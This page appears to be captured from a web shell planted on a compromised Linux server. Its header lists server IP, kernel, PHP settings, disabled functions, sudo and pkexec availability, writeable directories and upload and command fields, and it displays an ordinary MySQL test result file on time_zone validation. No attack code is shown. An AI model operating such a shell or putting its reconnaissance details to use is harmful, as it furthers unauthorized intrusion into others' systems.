403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.70.93.14
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/sys_vars/r/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/sys_vars/r/time_zone_basic.result
SET @global_start_value = @@global.time_zone;
SELECT @global_start_value;
@global_start_value
SYSTEM
SET @session_start_value = @@session.time_zone;
SELECT @session_start_value;
@session_start_value
SYSTEM
'#--------------------FN_DYNVARS_001_01------------------------#'
SET @@time_zone = "+02:00";
SET @@time_zone = DEFAULT;
SELECT @@time_zone;
@@time_zone
SYSTEM
SET @@global.time_zone = "-00:30";
SET @@global.time_zone = DEFAULT;
SELECT @@global.time_zone;
@@global.time_zone
SYSTEM
'#---------------------FN_DYNVARS_001_02-------------------------#'
SET @@session.time_zone = "+02:00";
SELECT @@session.time_zone;
@@session.time_zone
+02:00
SET @@global.time_zone = "+05:00";
SELECT @@global.time_zone;
@@global.time_zone
+05:00
SELECT @@session.time_zone AS res_is_02_00;
res_is_02_00
+02:00
SET @@session.time_zone = "-02:00";
SELECT @@session.time_zone;
@@session.time_zone
-02:00
SELECT @@global.time_zone AS res_is_05_00;
res_is_05_00
+05:00
SELECT @@global.time_zone=@@session.time_zone AS res_is_false;
res_is_false
0
'#--------------------FN_DYNVARS_001_03------------------------#'
SET @@time_zone = "+13:00";
SELECT @@time_zone;
@@time_zone
+13:00
SET @@time_zone = "-12:00";
SELECT @@time_zone;
@@time_zone
-12:00
SET @@time_zone = "+12:59";
SELECT @@time_zone;
@@time_zone
+12:59
SET @@time_zone = "-11:30";
SELECT @@time_zone;
@@time_zone
-11:30
SET @@time_zone = "+00:00";
SELECT @@time_zone;
@@time_zone
+00:00
SET @@time_zone = "-12:59";
SELECT @@time_zone;
@@time_zone
-12:59
SET @@time_zone = "-00:00";
SELECT @@time_zone;
@@time_zone
+00:00
SET @@time_zone = "+10:00";
SELECT @@time_zone;
@@time_zone
+10:00
SET @@time_zone = "+0:0";
SELECT @@time_zone;
@@time_zone
+00:00
SET @@time_zone = "-10:00";
SELECT @@time_zone;
@@time_zone
-10:00
SET @@time_zone = "+2:00";
SELECT @@time_zone;
@@time_zone
+02:00
SET @@global.time_zone = "+13:00";
SELECT @@global.time_zone;
@@global.time_zone
+13:00
SET @@global.time_zone = "-12:00";
SELECT @@global.time_zone;
@@global.time_zone
-12:00
SET @@global.time_zone = "+12:59";
SELECT @@global.time_zone;
@@global.time_zone
+12:59
SET @@global.time_zone = "-11:30";
SELECT @@global.time_zone;
@@global.time_zone
-11:30
SET @@global.time_zone = "+00:00";
SELECT @@global.time_zone;
@@global.time_zone
+00:00
SET @@global.time_zone = "-12:59";
SELECT @@global.time_zone;
@@global.time_zone
-12:59
SET @@global.time_zone = "-00:00";
SELECT @@global.time_zone;
@@global.time_zone
+00:00
SET @@global.time_zone = "+10:00";
SELECT @@global.time_zone;
@@global.time_zone
+10:00
SET @@global.time_zone = "+0:0";
SELECT @@global.time_zone;
@@global.time_zone
+00:00
SET @@global.time_zone = "-10:00";
SELECT @@global.time_zone;
@@global.time_zone
-10:00
SET @@global.time_zone = "+2:00";
SELECT @@global.time_zone;
@@global.time_zone
+02:00
'#--------------------FN_DYNVARS_001_04-------------------------#'
SET @@time_zone = "+24:00";
ERROR HY000: Unknown or incorrect time zone: '+24:00'
SET @@time_zone = "+23:59";
ERROR HY000: Unknown or incorrect time zone: '+23:59'
SET @@time_zone = "+13:01";
ERROR HY000: Unknown or incorrect time zone: '+13:01'
SET @@time_zone = "-13:01";
ERROR HY000: Unknown or incorrect time zone: '-13:01'
SET @@global.time_zone = "+24:00";
ERROR HY000: Unknown or incorrect time zone: '+24:00'
SET @@global.time_zone = "+23:59";
ERROR HY000: Unknown or incorrect time zone: '+23:59'
SET @@global.time_zone = "+13:01";
ERROR HY000: Unknown or incorrect time zone: '+13:01'
SET @@global.time_zone = "-13:01";
ERROR HY000: Unknown or incorrect time zone: '-13:01'
'#-------------------FN_DYNVARS_001_05----------------------------#'
SET @@global.time_zone = 'SYSTEM';
SELECT @@global.time_zone;
@@global.time_zone
SYSTEM
SET @@time_zone = 'SYSTEM';
SELECT @@time_zone;
@@time_zone
SYSTEM
'#----------------------FN_DYNVARS_001_06------------------------#'
SELECT @@time_zone = VARIABLE_VALUE 
FROM INFORMATION_SCHEMA.SESSION_VARIABLES 
WHERE VARIABLE_NAME='time_zone';
@@time_zone = VARIABLE_VALUE
1
'#----------------------FN_DYNVARS_001_07------------------------#'
SELECT @@global.time_zone = VARIABLE_VALUE 
FROM INFORMATION_SCHEMA.GLOBAL_VARIABLES 
WHERE VARIABLE_NAME='time_zone';
@@global.time_zone = VARIABLE_VALUE
1
'#---------------------FN_DYNVARS_001_08-------------------------#'
SET @@time_zone = OFF;
ERROR HY000: Unknown or incorrect time zone: 'OFF'
SET @@time_zone = ON;
ERROR HY000: Unknown or incorrect time zone: 'ON'
SET @@time_zone = TRUE;
ERROR 42000: Incorrect argument type to variable 'time_zone'
SET @@time_zone = FALSE;
ERROR 42000: Incorrect argument type to variable 'time_zone'
SET @@global.time_zone = OFF;
ERROR HY000: Unknown or incorrect time zone: 'OFF'
SET @@global.time_zone = ON;
ERROR HY000: Unknown or incorrect time zone: 'ON'
SET @@global.time_zone = TRUE;
ERROR 42000: Incorrect argument type to variable 'time_zone'
SET @@global.time_zone = FALSE;
ERROR 42000: Incorrect argument type to variable 'time_zone'
'#---------------------FN_DYNVARS_001_09----------------------#'
SET @@time_zone = 1;
ERROR 42000: Incorrect argument type to variable 'time_zone'
SET @@time_zone = +0200;
ERROR 42000: Incorrect argument type to variable 'time_zone'
SET @@time_zone = GMT+;
ERROR 42000: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
SET @@time_zone = "";
ERROR HY000: Unknown or incorrect time zone: ''
SET @@global.time_zone = 1;
ERROR 42000: Incorrect argument type to variable 'time_zone'
SET @@global.time_zone = +0200;
ERROR 42000: Incorrect argument type to variable 'time_zone'
SET @@global.time_zone = GMT+;
ERROR 42000: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
SET @@global.time_zone = "";
ERROR HY000: Unknown or incorrect time zone: ''
'#---------------------FN_DYNVARS_001_10----------------------#'
SET @@time_zone = '+02:30';
SELECT @@time_zone = @@local.time_zone and @@time_zone = @@session.time_zone;
@@time_zone = @@local.time_zone and @@time_zone = @@session.time_zone
1
SET @@time_zone = '-01:30';
SELECT @@time_zone = @@local.time_zone and @@time_zone = @@session.time_zone;
@@time_zone = @@local.time_zone and @@time_zone = @@session.time_zone
1
'#---------------------FN_DYNVARS_001_11----------------------#'
SET time_zone = "+01:00";
SELECT @@time_zone;
@@time_zone
+01:00
SELECT local.time_zone;
ERROR 42S02: Unknown table 'local' in field list
SELECT session.time_zone;
ERROR 42S02: Unknown table 'session' in field list
SELECT time_zone = @@session.time_zone;
ERROR 42S22: Unknown column 'time_zone' in 'field list'
SET @@time_zone = @session_start_value;
SELECT @@time_zone;
@@time_zone
SYSTEM
SET @@global.time_zone = @global_start_value;
SELECT @@global.time_zone;
@@global.time_zone
SYSTEM

Youez - 2016 - github.com/yon3zu
LinuXploit